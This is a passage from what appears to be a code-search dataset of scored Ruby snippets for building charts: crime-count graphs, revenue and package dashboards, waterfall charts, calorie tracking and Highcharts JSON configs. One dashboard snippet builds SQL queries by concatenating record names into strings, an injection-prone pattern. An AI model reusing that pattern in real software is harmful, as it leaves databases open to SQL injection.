state_weekly_data.each do |week, value|\n state_weekly_array.append value\n end\n # Obtain data from each agency for comparison\n agencies_query = Queries::Agencies.all\n agencies_data = database.execute agencies_query\n agencies_data.each do |agency|\n next if agency['nibrs_reported'].to_i == 0\n puts \"Querying #{agency['agency_name']} dataset for #{offense}\"\n agency_query = Queries::Incidents.agency_with_code agency['agency_ori'], code\n agency_data = database.execute agency_query\n agency_weekly_data = Research::When.by_week agency_data\n # Create a weekly dataset\n puts \"Populating a weekly dataset\"\n agency_weekly_array = []\n agency_weekly_data.each do |week, value|\n agency_weekly_array.append value\n end\n # Create graph\n file = \"out/#{database.database}_#{agency['agency_name']}_#{code}.png\"\n puts \"Creating comparison graph and saving to #{file}\"\n g = Gchart.new(\n type: 'line',\n title: \"Counts of #{offense} by calendar week\",\n data: [state_weekly_array, agency_weekly_array],\n legend: [\"#{database.database}\", \"#{agency['agency_name']}\"],\n\tline_colors: ['1565c0', 'c62828'],\n axis_with_labels: ['x', 'y'],\n axis_range: [[0, 53, 53 / 10], [0, state_weekly_array.max, state_weekly_array.max / 10]],\n size: '500x500',\n filename: file\n )\n g.file\n end\n end\nend", "title": "" }, { "docid": "58650bec7d257aaae810322d189dd717", "score": "0.5456971", "text": "def index\n @administrators = Administrator.all\n \n \n # Packages Chart\n packages= Package.all\n \n @packagesArray = Array.new\n \n packagesNames = Array.new\n packagesNames.push(\"\")\n packagesCount = Array.new\n packagesCount.push(\"\")\n \n packages.each do |package|\n packagesNames.push(package.name)\n \n packCount = Package.joins(:packages_clinics).select(\"COUNT(*) as count\").where(\"packages.name = '\" + package.name + \"'\")\n \n packagesCount.push(Integer(packCount.first.count))\n end\n \n @packagesArray.push(packagesNames)\n @packagesArray.push(packagesCount)\n \n \n # Montlhy Revenue Graph\n truncateClause = \"DATE_TRUNC('month', payment_date)\"\n selectClause = \"TO_CHAR(\" + truncateClause + \", 'YYYY/MM') as date, SUM(value) as sum\"\n revenue = Payment.select(selectClause).where(\"payment_date IS NOT NULL\").group(truncateClause).order(truncateClause)\n \n @revenueArray = Array.new\n @revenueArray.push([\"Data\", \"Valor (euros)\"]) \n revenue.each do |value|\n @revenueArray.push([value.date, Float(value.sum)])\n end\n \n #\n months = Hash.new\n months[1] = \"Jan\"\n months[2] = \"Fev\"\n months[3] = \"Mar\"\n months[4] = \"Abr\"\n months[5] = \"Mai\"\n months[6] = \"Jun\"\n months[7] = \"Jul\"\n months[8] = \"Ago\"\n months[9] = \"Set\"\n months[10] = \"Out\"\n months[11] = \"Nov\"\n months[12] = \"Dez\"\n \n @clinicsArray = Array.new\n headerTemp = Array.new\n headerTemp.push(\"Mes do Ano\")\n packages.each do |package|\n headerTemp.push(package.name)\n end\n \n @clinicsArray.push(headerTemp)\n \n year = Time.new.year\n initialMonth = (Time.new.month % 12) + 1\n currentMonth = initialMonth\n \n if initialMonth != 1\n year = year - 1\n end\n \n \n for i in 1..12\n if initialMonth != 1 && currentMonth == 1\n year = year + 1\n end\n \n \n clinicTemp = Array.new\n clinicTemp.push(months[currentMonth].to_s + \"/\" + year.to_s[2..3])\n \n packages.each do |package|\n nClinics = PackagesClinic.select(\"COUNT(*) as count\").joins(:package).where(\"date_part('month', start_date) <= \" + currentMonth.to_s + \" AND date_part('year', start_date) <= \" + year.to_s + \" AND packages.name = '\" + package.name + \"'\")\n \n clinicTemp.push(Integer(nClinics.first.count))\n end\n \n @clinicsArray.push(clinicTemp)\n\n currentMonth = (currentMonth % 12) + 1\n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @administrators }\n end\n end", "title": "" }, { "docid": "b63eb6425e86c71a814d5bab5bcafa36", "score": "0.5456141", "text": "def monthly_chart_data(records)\n range = [1,2,3,4,5,6,7,8,9,10,11,12]\n\n data = records.group_by { |obj| # group by date\n obj[:date]\n }.map { |obj| # map to { date:\"\", quantity:[0, 0, 0] }\n { date: obj[0],\n quantity: obj[1].sum{ |x| x[:quantity][:overall] } }\n }.sort_by{ |x| # sort by date\n x[:date]\n }\n\n [range.map{ |x|\n (data.detect{ |y| y[:date].month == x } or { quantity:0 })[:quantity]\n }].to_json\n end", "title": "" }, { "docid": "6dfbe77de07050738297e8c696bbc5e3", "score": "0.54545146", "text": "def calculate_the_financial_sub_graph(year=nil,from_properties_tab = nil)\n calc_for_financial_data_display\n year_to_date= @financial_month\n @ytd= []\n\n if(params[:period] == \"2\" || params[:tl_period] == \"2\") && (params[:quarter_end_month] && !params[:quarter_end_month].blank?)\n quarter_months = [12,11,10,9,8,7,6,5,4,3,2,1,12,11,10]\n for quarter_month in quarter_months[params[:quarter_end_month].to_i]..quarter_months[params[:quarter_end_month].to_i] + 2\n m= quarter_months[quarter_month]\n @ytd << \"IFNULL(f.\"+Date::MONTHNAMES[m].downcase+\",0)\"\n end\n elsif (params[:period] == \"11\" || params[:tl_period] == \"11\")\n @ytd << \"IFNULL(f.\"+Date::MONTHNAMES[@financial_month.to_i].downcase+\",0)\"\n else\n for m in 1..year_to_date\n @ytd << \"IFNULL(f.\"+Date::MONTHNAMES[m].downcase+\",0)\"\n end\n end\n find_out_asset_details(params,year,from_properties_tab)\n end", "title": "" }, { "docid": "9226075b31237b260cfba852365da51f", "score": "0.5452397", "text": "def getchart()\n # 4 data points to represent the cash flow for the Q1 - Q4\n data = [230, 140, 220, 330, 150]\n\n # We want to plot a waterfall chart showing the 4 quarters as well as the total\n labels = [\"Product 1\", \"Product 2\", \"Product 3\", \"Product 4\", \"Product 5\", \"Total\"\n ]\n\n # The top side of the bars in a waterfall chart is the accumulated data. We use\n # the ChartDirector ArrayMath utility to accumulate the data. The \"total\" is\n # handled by inserting a zero point at the end before accumulation (after\n # accumulation it will become the total).\n boxTop = ChartDirector::ArrayMath.new(data).insert2(0, 1).acc().result()\n\n # The botom side of the bars is just the top side of the previous bar. So we\n # shifted the top side data to obtain the bottom side data.\n boxBottom = ChartDirector::ArrayMath.new(boxTop).shift(1, 0).result()\n\n # The last point (total) is different. Its bottom side is always 0.\n boxBottom[boxBottom.length - 1] = 0\n\n # Create a XYChart object of size 500 x 280 pixels. Set background color to light\n # blue (ccccff), with 1 pixel 3D border effect.\n c = ChartDirector::XYChart.new(500, 290, 0xccccff, 0x000000, 1)\n\n # Add a title to the chart using 13 points Arial Bold Itatic font, with white\n # (ffffff) text on a deep blue (0x80) background\n c.addTitle(\"Product Revenue - Year 2004\", \"arialbi.ttf\", 13, 0xffffff\n ).setBackground(0x000080)\n\n # Set the plotarea at (55, 50) and of size 430 x 215 pixels. Use alternative\n # white/grey background.\n c.setPlotArea(55, 45, 430, 215, 0xffffff, 0xeeeeee)\n\n # Set the labels on the x axis using Arial Bold font\n c.xAxis().setLabels(labels).setFontStyle(\"arialbd.ttf\")\n\n # Set the x-axis ticks and grid lines to be between the bars\n c.xAxis().setTickOffset(0.5)\n\n # Use Arial Bold as the y axis label font\n c.yAxis().setLabelStyle(\"arialbd.ttf\")\n\n # Add a title to the y axis\n c.yAxis().setTitle(\"USD (in millions)\")\n\n # Add a multi-color box-whisker layer to represent the waterfall bars\n layer = c.addBoxWhiskerLayer2(boxTop, boxBottom)\n\n # Put data labels on the bars to show the cash flow using Arial Bold font\n layer.setDataLabelFormat(\"{={top}-{bottom}}M\")\n layer.setDataLabelStyle(\"arialbd.ttf\").setAlignment(ChartDirector::Center)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "title": "" }, { "docid": "b79034e6b37a35215000649be9086a18", "score": "0.5447595", "text": "def index\n @userdailydata = Userdailydatum.where(:user_id=>current_user.id).order(date: :asc)\n\n ## need to be able to convert date to better format here\n ##@userdailydata.map { |v| v.date = v.date.strftime(\"%Y-%m-%d\") }\n ##\n ##Historical caloric intake and calories burned\n userdailycalories=@userdailydata.pluck(:calories_consumed)\n userexercise=@userdailydata.pluck(:calories_exercised)\n userdate=@userdailydata.pluck(:date)\n userdate.map! {|d| d.to_i}\n \n ##Use gon gem for javascript rendering by client\n gon.userdate=userdate\n ## we put data in 2d array to be plotted\n gon.calories_consumed=gon.userdate.zip(userdailycalories)\n gon.calories_exercised=gon.userdate.zip(userexercise)\n calories_burned=userexercise\n ##Total calories burned in a given day\n calories_burned.map! {|calories| (calories+userBMR)}\n gon.calories_burned=gon.userdate.zip(calories_burned)\n\n\n ##Tracks calories burned since goal began \n goal_calories_burned=@userdailydata.where(\"date > ?\", goalDates).pluck(:calories_exercised)\n goal_date_ranges= @userdailydata.where(\"date > ?\", goalDates).pluck(:date)\n goal_date_ranges.map! {|d| d.to_i}\n ##Running sum to track running sums when initially given an array\n goal_cumulative_caloriesburned = goal_calories_burned.inject([]) { |result, element| result << result.last.to_i + element }\n\n\n ##Need running sum\n percent_towards_goal = goal_cumulative_caloriesburned.map {|calories| (calories.to_f / goalCalories.to_f) }\n\n gon.percent_towards_goal=goal_date_ranges.zip(percent_towards_goal)\n\n\nend", "title": "" }, { "docid": "f760e6fd3df99b80545d0a1ed2095a1d", "score": "0.5446677", "text": "def get_chart\n charts = {\n 'three_lines' => '{\"title\":{\"text\":\"<span>Three Lines</span>\"},\"subtitle\":{\"text\":\"<span>One, Two, and Three</span>\"},\"tooltip\":{\"valuePrefix\":null,\"valueSuffix\":null},\"yAxis\":{\"title\":{\"text\":\"Stuff\"}},\"series\":[{\"name\":\"One\",\"id\":\"total_users\",\"data\":[{\"x\":1372143600000,\"y\":3608},{\"x\":1372230000000,\"y\":3644},{\"x\":1372316400000,\"y\":3674},{\"x\":1372402800000,\"y\":3713},{\"x\":1372489200000,\"y\":3730},{\"x\":1372575600000,\"y\":3743},{\"x\":1372662000000,\"y\":3971},{\"x\":1372748400000,\"y\":4073},{\"x\":1372834800000,\"y\":4117},{\"x\":1372921200000,\"y\":4147},{\"x\":1373007600000,\"y\":4176},{\"x\":1373094000000,\"y\":4202},{\"x\":1373180400000,\"y\":4214},{\"x\":1373266800000,\"y\":4279},{\"x\":1373353200000,\"y\":4322},{\"x\":1373439600000,\"y\":4369},{\"x\":1373526000000,\"y\":4407},{\"x\":1373612400000,\"y\":4447},{\"x\":1373698800000,\"y\":4472},{\"x\":1373785200000,\"y\":4484},{\"x\":1373871600000,\"y\":4514},{\"x\":1373958000000,\"y\":4548},{\"x\":1374044400000,\"y\":4579},{\"x\":1374130800000,\"y\":4605},{\"x\":1374217200000,\"y\":4637},{\"x\":1374303600000,\"y\":4647},{\"x\":1374390000000,\"y\":4661},{\"x\":1374476400000,\"y\":4698},{\"x\":1374562800000,\"y\":4729},{\"x\":1374649200000,\"y\":4769},{\"x\":1374735600000,\"y\":4810},{\"x\":1374822000000,\"y\":4839},{\"x\":1374908400000,\"y\":4862},{\"x\":1374994800000,\"y\":4881},{\"x\":1375081200000,\"y\":4942},{\"x\":1375167600000,\"y\":4998},{\"x\":1375254000000,\"y\":5043},{\"x\":1375340400000,\"y\":5100},{\"x\":1375426800000,\"y\":5160},{\"x\":1375513200000,\"y\":5182},{\"x\":1375599600000,\"y\":5220},{\"x\":1375686000000,\"y\":5276},{\"x\":1375772400000,\"y\":5323},{\"x\":1375858800000,\"y\":5366},{\"x\":1375945200000,\"y\":5409},{\"x\":1376031600000,\"y\":5484},{\"x\":1376118000000,\"y\":5518},{\"x\":1376204400000,\"y\":5542},{\"x\":1376290800000,\"y\":5586},{\"x\":1376377200000,\"y\":5628},{\"x\":1376463600000,\"y\":5674},{\"x\":1376550000000,\"y\":5714},{\"x\":1376636400000,\"y\":5747},{\"x\":1376722800000,\"y\":5770},{\"x\":1376809200000,\"y\":5794},{\"x\":1376895600000,\"y\":5837},{\"x\":1376982000000,\"y\":5889},{\"x\":1377068400000,\"y\":5925},{\"x\":1377154800000,\"y\":5962},{\"x\":1377241200000,\"y\":6001},{\"x\":1377327600000,\"y\":6023},{\"x\":1377414000000,\"y\":6050},{\"x\":1377500400000,\"y\":6083},{\"x\":1377586800000,\"y\":6129},{\"x\":1377673200000,\"y\":6170},{\"x\":1377759600000,\"y\":6198},{\"x\":1377846000000,\"y\":6238},{\"x\":1377932400000,\"y\":6254},{\"x\":1378018800000,\"y\":6284},{\"x\":1378105200000,\"y\":6317},{\"x\":1378191600000,\"y\":6359},{\"x\":1378278000000,\"y\":6398},{\"x\":1378364400000,\"y\":6436},{\"x\":1378450800000,\"y\":6464},{\"x\":1378537200000,\"y\":6487},{\"x\":1378623600000,\"y\":6507},{\"x\":1378710000000,\"y\":6507},{\"x\":1378796400000,\"y\":6507},{\"x\":1378882800000,\"y\":6507},{\"x\":1378969200000,\"y\":6507},{\"x\":1379055600000,\"y\":6507},{\"x\":1379142000000,\"y\":6507},{\"x\":1379228400000,\"y\":6507},{\"x\":1379314800000,\"y\":6507},{\"x\":1379401200000,\"y\":6507},{\"x\":1379487600000,\"y\":6507},{\"x\":1379574000000,\"y\":6507},{\"x\":1379660400000,\"y\":6507},{\"x\":1379746800000,\"y\":6507},{\"x\":1379833200000,\"y\":6507},{\"x\":1379919600000,\"y\":6507}]},{\"name\":\"Two\",\"id\":\"linked_users\",\"data\":[{\"x\":1372143600000,\"y\":2216},{\"x\":1372230000000,\"y\":2246},{\"x\":1372316400000,\"y\":2271},{\"x\":1372402800000,\"y\":2299},{\"x\":1372489200000,\"y\":2312},{\"x\":1372575600000,\"y\":2321},{\"x\":1372662000000,\"y\":2483},{\"x\":1372748400000,\"y\":2559},{\"x\":1372834800000,\"y\":2594},{\"x\":1372921200000,\"y\":2612},{\"x\":1373007600000,\"y\":2637},{\"x\":1373094000000,\"y\":2655},{\"x\":1373180400000,\"y\":2665},{\"x\":1373266800000,\"y\":2711},{\"x\":1373353200000,\"y\":2744},{\"x\":1373439600000,\"y\":2786},{\"x\":1373526000000,\"y\":2814},{\"x\":1373612400000,\"y\":2848},{\"x\":1373698800000,\"y\":2863},{\"x\":1373785200000,\"y\":2868},{\"x\":1373871600000,\"y\":2886},{\"x\":1373958000000,\"y\":2918},{\"x\":1374044400000,\"y\":2941},{\"x\":1374130800000,\"y\":2966},{\"x\":1374217200000,\"y\":2993},{\"x\":1374303600000,\"y\":3001},{\"x\":1374390000000,\"y\":3011},{\"x\":1374476400000,\"y\":3039},{\"x\":1374562800000,\"y\":3070},{\"x\":1374649200000,\"y\":3097},{\"x\":1374735600000,\"y\":3132},{\"x\":1374822000000,\"y\":3157},{\"x\":1374908400000,\"y\":3170},{\"x\":1374994800000,\"y\":3181},{\"x\":1375081200000,\"y\":3224},{\"x\":1375167600000,\"y\":3265},{\"x\":1375254000000,\"y\":3303},{\"x\":1375340400000,\"y\":3348},{\"x\":1375426800000,\"y\":3383},{\"x\":1375513200000,\"y\":3397},{\"x\":1375599600000,\"y\":3415},{\"x\":1375686000000,\"y\":3448},{\"x\":1375772400000,\"y\":3484},{\"x\":1375858800000,\"y\":3516},{\"x\":1375945200000,\"y\":3545},{\"x\":1376031600000,\"y\":3592},{\"x\":1376118000000,\"y\":3602},{\"x\":1376204400000,\"y\":3622},{\"x\":1376290800000,\"y\":3657},{\"x\":1376377200000,\"y\":3691},{\"x\":1376463600000,\"y\":3724},{\"x\":1376550000000,\"y\":3752},{\"x\":1376636400000,\"y\":3777},{\"x\":1376722800000,\"y\":3793},{\"x\":1376809200000,\"y\":3809},{\"x\":1376895600000,\"y\":3842},{\"x\":1376982000000,\"y\":3881},{\"x\":1377068400000,\"y\":3921},{\"x\":1377154800000,\"y\":3947},{\"x\":1377241200000,\"y\":3979},{\"x\":1377327600000,\"y\":3989},{\"x\":1377414000000,\"y\":4004},{\"x\":1377500400000,\"y\":4032},{\"x\":1377586800000,\"y\":4063},{\"x\":1377673200000,\"y\":4088},{\"x\":1377759600000,\"y\":4112},{\"x\":1377846000000,\"y\":4134},{\"x\":1377932400000,\"y\":4145},{\"x\":1378018800000,\"y\":4164},{\"x\":1378105200000,\"y\":4184},{\"x\":1378191600000,\"y\":4219},{\"x\":1378278000000,\"y\":4250},{\"x\":1378364400000,\"y\":4280},{\"x\":1378450800000,\"y\":4293},{\"x\":1378537200000,\"y\":4309},{\"x\":1378623600000,\"y\":4317},{\"x\":1378710000000,\"y\":4317},{\"x\":1378796400000,\"y\":4317},{\"x\":1378882800000,\"y\":4317},{\"x\":1378969200000,\"y\":4317},{\"x\":1379055600000,\"y\":4317},{\"x\":1379142000000,\"y\":4317},{\"x\":1379228400000,\"y\":4317},{\"x\":1379314800000,\"y\":4317},{\"x\":1379401200000,\"y\":4317},{\"x\":1379487600000,\"y\":4317},{\"x\":1379574000000,\"y\":4317},{\"x\":1379660400000,\"y\":4317},{\"x\":1379746800000,\"y\":4317},{\"x\":1379833200000,\"y\":4317},{\"x\":1379919600000,\"y\":4317}]},{\"name\":\"Three\",\"id\":\"transacted_users\",\"data\":[{\"x\":1372143600000,\"y\":1453},{\"x\":1372230000000,\"y\":1482},{\"x\":1372316400000,\"y\":1513},{\"x\":1372402800000,\"y\":1540},{\"x\":1372489200000,\"y\":1553},{\"x\":1372575600000,\"y\":1561},{\"x\":1372662000000,\"y\":1605},{\"x\":1372748400000,\"y\":1654},{\"x\":1372834800000,\"y\":1705},{\"x\":1372921200000,\"y\":1713},{\"x\":1373007600000,\"y\":1733},{\"x\":1373094000000,\"y\":1744},{\"x\":1373180400000,\"y\":1751},{\"x\":1373266800000,\"y\":1798},{\"x\":1373353200000,\"y\":1842},{\"x\":1373439600000,\"y\":1879},{\"x\":1373526000000,\"y\":1914},{\"x\":1373612400000,\"y\":1943},{\"x\":1373698800000,\"y\":1956},{\"x\":1373785200000,\"y\":1959},{\"x\":1373871600000,\"y\":1991},{\"x\":1373958000000,\"y\":2016},{\"x\":1374044400000,\"y\":2037},{\"x\":1374130800000,\"y\":2072},{\"x\":1374217200000,\"y\":2099},{\"x\":1374303600000,\"y\":2104},{\"x\":1374390000000,\"y\":2113},{\"x\":1374476400000,\"y\":2142},{\"x\":1374562800000,\"y\":2173},{\"x\":1374649200000,\"y\":2204},{\"x\":1374735600000,\"y\":2231},{\"x\":1374822000000,\"y\":2255},{\"x\":1374908400000,\"y\":2264},{\"x\":1374994800000,\"y\":2268},{\"x\":1375081200000,\"y\":2305},{\"x\":1375167600000,\"y\":2341},{\"x\":1375254000000,\"y\":2375},{\"x\":1375340400000,\"y\":2409},{\"x\":1375426800000,\"y\":2441},{\"x\":1375513200000,\"y\":2448},{\"x\":1375599600000,\"y\":2456},{\"x\":1375686000000,\"y\":2499},{\"x\":1375772400000,\"y\":2525},{\"x\":1375858800000,\"y\":2546},{\"x\":1375945200000,\"y\":2575},{\"x\":1376031600000,\"y\":2602},{\"x\":1376118000000,\"y\":2612},{\"x\":1376204400000,\"y\":2621},{\"x\":1376290800000,\"y\":2658},{\"x\":1376377200000,\"y\":2674},{\"x\":1376463600000,\"y\":2705},{\"x\":1376550000000,\"y\":2723},{\"x\":1376636400000,\"y\":2740},{\"x\":1376722800000,\"y\":2753},{\"x\":1376809200000,\"y\":2761},{\"x\":1376895600000,\"y\":2790},{\"x\":1376982000000,\"y\":2822},{\"x\":1377068400000,\"y\":2850},{\"x\":1377154800000,\"y\":2876},{\"x\":1377241200000,\"y\":2899},{\"x\":1377327600000,\"y\":2916},{\"x\":1377414000000,\"y\":2925},{\"x\":1377500400000,\"y\":2947},{\"x\":1377586800000,\"y\":2972},{\"x\":1377673200000,\"y\":2991},{\"x\":1377759600000,\"y\":3016},{\"x\":1377846000000,\"y\":3040},{\"x\":1377932400000,\"y\":3048},{\"x\":1378018800000,\"y\":3059},{\"x\":1378105200000,\"y\":3067},{\"x\":1378191600000,\"y\":3093},{\"x\":1378278000000,\"y\":3114},{\"x\":1378364400000,\"y\":3149},{\"x\":1378450800000,\"y\":3163},{\"x\":1378537200000,\"y\":3171},{\"x\":1378623600000,\"y\":3182},{\"x\":1378710000000,\"y\":3182},{\"x\":1378796400000,\"y\":3182},{\"x\":1378882800000,\"y\":3182},{\"x\":1378969200000,\"y\":3182},{\"x\":1379055600000,\"y\":3182},{\"x\":1379142000000,\"y\":3182},{\"x\":1379228400000,\"y\":3182},{\"x\":1379314800000,\"y\":3182},{\"x\":1379401200000,\"y\":3182},{\"x\":1379487600000,\"y\":3182},{\"x\":1379574000000,\"y\":3182},{\"x\":1379660400000,\"y\":3182},{\"x\":1379746800000,\"y\":3182},{\"x\":1379833200000,\"y\":3182},{\"x\":1379919600000,\"y\":3182}]},{\"type\":\"flags\",\"data\":[],\"width\":14,\"height\":24,\"stackDistance\":20,\"shadow\":false,\"cursor\":\"pointer\",\"shape\":\"url(/assets/chart-marker.png)\",\"y\":-30,\"onSeries\":null}],\"xAxis\":{\"type\":\"datetime\",\"maxZoom\":1209600000}}',\n 'columns' => '{\"title\":{\"text\":\"<span>Columns</span>\"},\"subtitle\":{\"text\":null},\"tooltip\":{\"valuePrefix\":null,\"valueSuffix\":null},\"yAxis\":{\"title\":{\"text\":\"Stuff\"}},\"series\":[{\"name\":\"Stuff\",\"data\":[1176,931,685,404,241]}],\"xAxis\":{\"categories\":[\"0-20%\",\"20-40%\",\"40-60%\",\"60-80%\",\"80+%\"]}}',\n 'column_comparison' => '{\"title\":{\"text\":\"<span>Column Comparison</span>\"},\"subtitle\":{\"text\":\"<span>Some Stuff Compared</span>\"},\"tooltip\":{\"valuePrefix\":null,\"valueSuffix\":null},\"yAxis\":{\"title\":{\"text\":\"One Thing\"}},\"series\":[{\"name\":\"One Thing\",\"id\":\"batch\",\"data\":[{\"x\":1365836400000,\"y\":1},{\"x\":1365922800000,\"y\":0},{\"x\":1366009200000,\"y\":18},{\"x\":1366095600000,\"y\":14},{\"x\":1366182000000,\"y\":12},{\"x\":1366268400000,\"y\":15},{\"x\":1366354800000,\"y\":7},{\"x\":1366441200000,\"y\":1},{\"x\":1366527600000,\"y\":2},{\"x\":1366614000000,\"y\":19},{\"x\":1366700400000,\"y\":15},{\"x\":1366786800000,\"y\":10},{\"x\":1366873200000,\"y\":18},{\"x\":1366959600000,\"y\":14},{\"x\":1367046000000,\"y\":1},{\"x\":1367132400000,\"y\":0},{\"x\":1367218800000,\"y\":10},{\"x\":1367305200000,\"y\":12},{\"x\":1367391600000,\"y\":10},{\"x\":1367478000000,\"y\":9},{\"x\":1367564400000,\"y\":12},{\"x\":1367650800000,\"y\":5},{\"x\":1367737200000,\"y\":0},{\"x\":1367823600000,\"y\":21},{\"x\":1367910000000,\"y\":15},{\"x\":1367996400000,\"y\":14},{\"x\":1368082800000,\"y\":18},{\"x\":1368169200000,\"y\":15},{\"x\":1368255600000,\"y\":0},{\"x\":1368342000000,\"y\":3},{\"x\":1368428400000,\"y\":17},{\"x\":1368514800000,\"y\":15},{\"x\":1368601200000,\"y\":12},{\"x\":1368687600000,\"y\":12},{\"x\":1368774000000,\"y\":7},{\"x\":1368860400000,\"y\":2},{\"x\":1368946800000,\"y\":6},{\"x\":1369033200000,\"y\":17},{\"x\":1369119600000,\"y\":17},{\"x\":1369206000000,\"y\":13},{\"x\":1369292400000,\"y\":12},{\"x\":1369378800000,\"y\":4},{\"x\":1369465200000,\"y\":0},{\"x\":1369551600000,\"y\":1},{\"x\":1369638000000,\"y\":1},{\"x\":1369724400000,\"y\":9},{\"x\":1369810800000,\"y\":11},{\"x\":1369897200000,\"y\":7},{\"x\":1369983600000,\"y\":8},{\"x\":1370070000000,\"y\":1},{\"x\":1370156400000,\"y\":0},{\"x\":1370242800000,\"y\":7},{\"x\":1370329200000,\"y\":16},{\"x\":1370415600000,\"y\":10},{\"x\":1370502000000,\"y\":17},{\"x\":1370588400000,\"y\":10},{\"x\":1370674800000,\"y\":6},{\"x\":1370761200000,\"y\":1},{\"x\":1370847600000,\"y\":21},{\"x\":1370934000000,\"y\":16},{\"x\":1371020400000,\"y\":12},{\"x\":1371106800000,\"y\":14}],\"borderColor\":\"#666\",\"color\":\"#6690c6\"},{\"name\":\"Another Thing\",\"id\":\"realtime\",\"data\":[{\"x\":1365836400000,\"y\":12},{\"x\":1365922800000,\"y\":15},{\"x\":1366009200000,\"y\":16},{\"x\":1366095600000,\"y\":21},{\"x\":1366182000000,\"y\":20},{\"x\":1366268400000,\"y\":22},{\"x\":1366354800000,\"y\":28},{\"x\":1366441200000,\"y\":20},{\"x\":1366527600000,\"y\":11},{\"x\":1366614000000,\"y\":15},{\"x\":1366700400000,\"y\":22},{\"x\":1366786800000,\"y\":21},{\"x\":1366873200000,\"y\":17},{\"x\":1366959600000,\"y\":25},{\"x\":1367046000000,\"y\":17},{\"x\":1367132400000,\"y\":12},{\"x\":1367218800000,\"y\":24},{\"x\":1367305200000,\"y\":22},{\"x\":1367391600000,\"y\":23},{\"x\":1367478000000,\"y\":21},{\"x\":1367564400000,\"y\":26},{\"x\":1367650800000,\"y\":17},{\"x\":1367737200000,\"y\":13},{\"x\":1367823600000,\"y\":20},{\"x\":1367910000000,\"y\":24},{\"x\":1367996400000,\"y\":23},{\"x\":1368082800000,\"y\":35},{\"x\":1368169200000,\"y\":39},{\"x\":1368255600000,\"y\":19},{\"x\":1368342000000,\"y\":17},{\"x\":1368428400000,\"y\":23},{\"x\":1368514800000,\"y\":20},{\"x\":1368601200000,\"y\":30},{\"x\":1368687600000,\"y\":29},{\"x\":1368774000000,\"y\":45},{\"x\":1368860400000,\"y\":26},{\"x\":1368946800000,\"y\":25},{\"x\":1369033200000,\"y\":27},{\"x\":1369119600000,\"y\":29},{\"x\":1369206000000,\"y\":27},{\"x\":1369292400000,\"y\":33},{\"x\":1369378800000,\"y\":43},{\"x\":1369465200000,\"y\":17},{\"x\":1369551600000,\"y\":18},{\"x\":1369638000000,\"y\":22},{\"x\":1369724400000,\"y\":26},{\"x\":1369810800000,\"y\":35},{\"x\":1369897200000,\"y\":45},{\"x\":1369983600000,\"y\":56},{\"x\":1370070000000,\"y\":31},{\"x\":1370156400000,\"y\":40},{\"x\":1370242800000,\"y\":34},{\"x\":1370329200000,\"y\":47},{\"x\":1370415600000,\"y\":61},{\"x\":1370502000000,\"y\":58},{\"x\":1370588400000,\"y\":83},{\"x\":1370674800000,\"y\":41},{\"x\":1370761200000,\"y\":26},{\"x\":1370847600000,\"y\":78},{\"x\":1370934000000,\"y\":83},{\"x\":1371020400000,\"y\":77},{\"x\":1371106800000,\"y\":88}],\"borderColor\":\"#666\",\"color\":\"#446fa8\"},{\"name\":\"Total\",\"color\":\"#000\",\"type\":\"scatter\",\"stack\":\"none1\",\"linkedTo\":\"batch\",\"data\":[{\"x\":1365836400000,\"y\":13},{\"x\":1365922800000,\"y\":15},{\"x\":1366009200000,\"y\":34},{\"x\":1366095600000,\"y\":35},{\"x\":1366182000000,\"y\":32},{\"x\":1366268400000,\"y\":37},{\"x\":1366354800000,\"y\":35},{\"x\":1366441200000,\"y\":21},{\"x\":1366527600000,\"y\":13},{\"x\":1366614000000,\"y\":34},{\"x\":1366700400000,\"y\":37},{\"x\":1366786800000,\"y\":31},{\"x\":1366873200000,\"y\":35},{\"x\":1366959600000,\"y\":39},{\"x\":1367046000000,\"y\":18},{\"x\":1367132400000,\"y\":12},{\"x\":1367218800000,\"y\":34},{\"x\":1367305200000,\"y\":34},{\"x\":1367391600000,\"y\":33},{\"x\":1367478000000,\"y\":30},{\"x\":1367564400000,\"y\":38},{\"x\":1367650800000,\"y\":22},{\"x\":1367737200000,\"y\":13},{\"x\":1367823600000,\"y\":41},{\"x\":1367910000000,\"y\":39},{\"x\":1367996400000,\"y\":37},{\"x\":1368082800000,\"y\":53},{\"x\":1368169200000,\"y\":54},{\"x\":1368255600000,\"y\":19},{\"x\":1368342000000,\"y\":20},{\"x\":1368428400000,\"y\":40},{\"x\":1368514800000,\"y\":35},{\"x\":1368601200000,\"y\":42},{\"x\":1368687600000,\"y\":41},{\"x\":1368774000000,\"y\":52},{\"x\":1368860400000,\"y\":28},{\"x\":1368946800000,\"y\":31},{\"x\":1369033200000,\"y\":44},{\"x\":1369119600000,\"y\":46},{\"x\":1369206000000,\"y\":40},{\"x\":1369292400000,\"y\":45},{\"x\":1369378800000,\"y\":47},{\"x\":1369465200000,\"y\":17},{\"x\":1369551600000,\"y\":19},{\"x\":1369638000000,\"y\":23},{\"x\":1369724400000,\"y\":35},{\"x\":1369810800000,\"y\":46},{\"x\":1369897200000,\"y\":52},{\"x\":1369983600000,\"y\":64},{\"x\":1370070000000,\"y\":32},{\"x\":1370156400000,\"y\":40},{\"x\":1370242800000,\"y\":41},{\"x\":1370329200000,\"y\":63},{\"x\":1370415600000,\"y\":71},{\"x\":1370502000000,\"y\":75},{\"x\":1370588400000,\"y\":93},{\"x\":1370674800000,\"y\":47},{\"x\":1370761200000,\"y\":27},{\"x\":1370847600000,\"y\":99},{\"x\":1370934000000,\"y\":99},{\"x\":1371020400000,\"y\":89},{\"x\":1371106800000,\"y\":102}]}],\"navigator\":{\"series\":{\"type\":\"areaspline\",\"data\":[{\"x\":1365836400000,\"y\":13},{\"x\":1365922800000,\"y\":15},{\"x\":1366009200000,\"y\":34},{\"x\":1366095600000,\"y\":35},{\"x\":1366182000000,\"y\":32},{\"x\":1366268400000,\"y\":37},{\"x\":1366354800000,\"y\":35},{\"x\":1366441200000,\"y\":21},{\"x\":1366527600000,\"y\":13},{\"x\":1366614000000,\"y\":34},{\"x\":1366700400000,\"y\":37},{\"x\":1366786800000,\"y\":31},{\"x\":1366873200000,\"y\":35},{\"x\":1366959600000,\"y\":39},{\"x\":1367046000000,\"y\":18},{\"x\":1367132400000,\"y\":12},{\"x\":1367218800000,\"y\":34},{\"x\":1367305200000,\"y\":34},{\"x\":1367391600000,\"y\":33},{\"x\":1367478000000,\"y\":30},{\"x\":1367564400000,\"y\":38},{\"x\":1367650800000,\"y\":22},{\"x\":1367737200000,\"y\":13},{\"x\":1367823600000,\"y\":41},{\"x\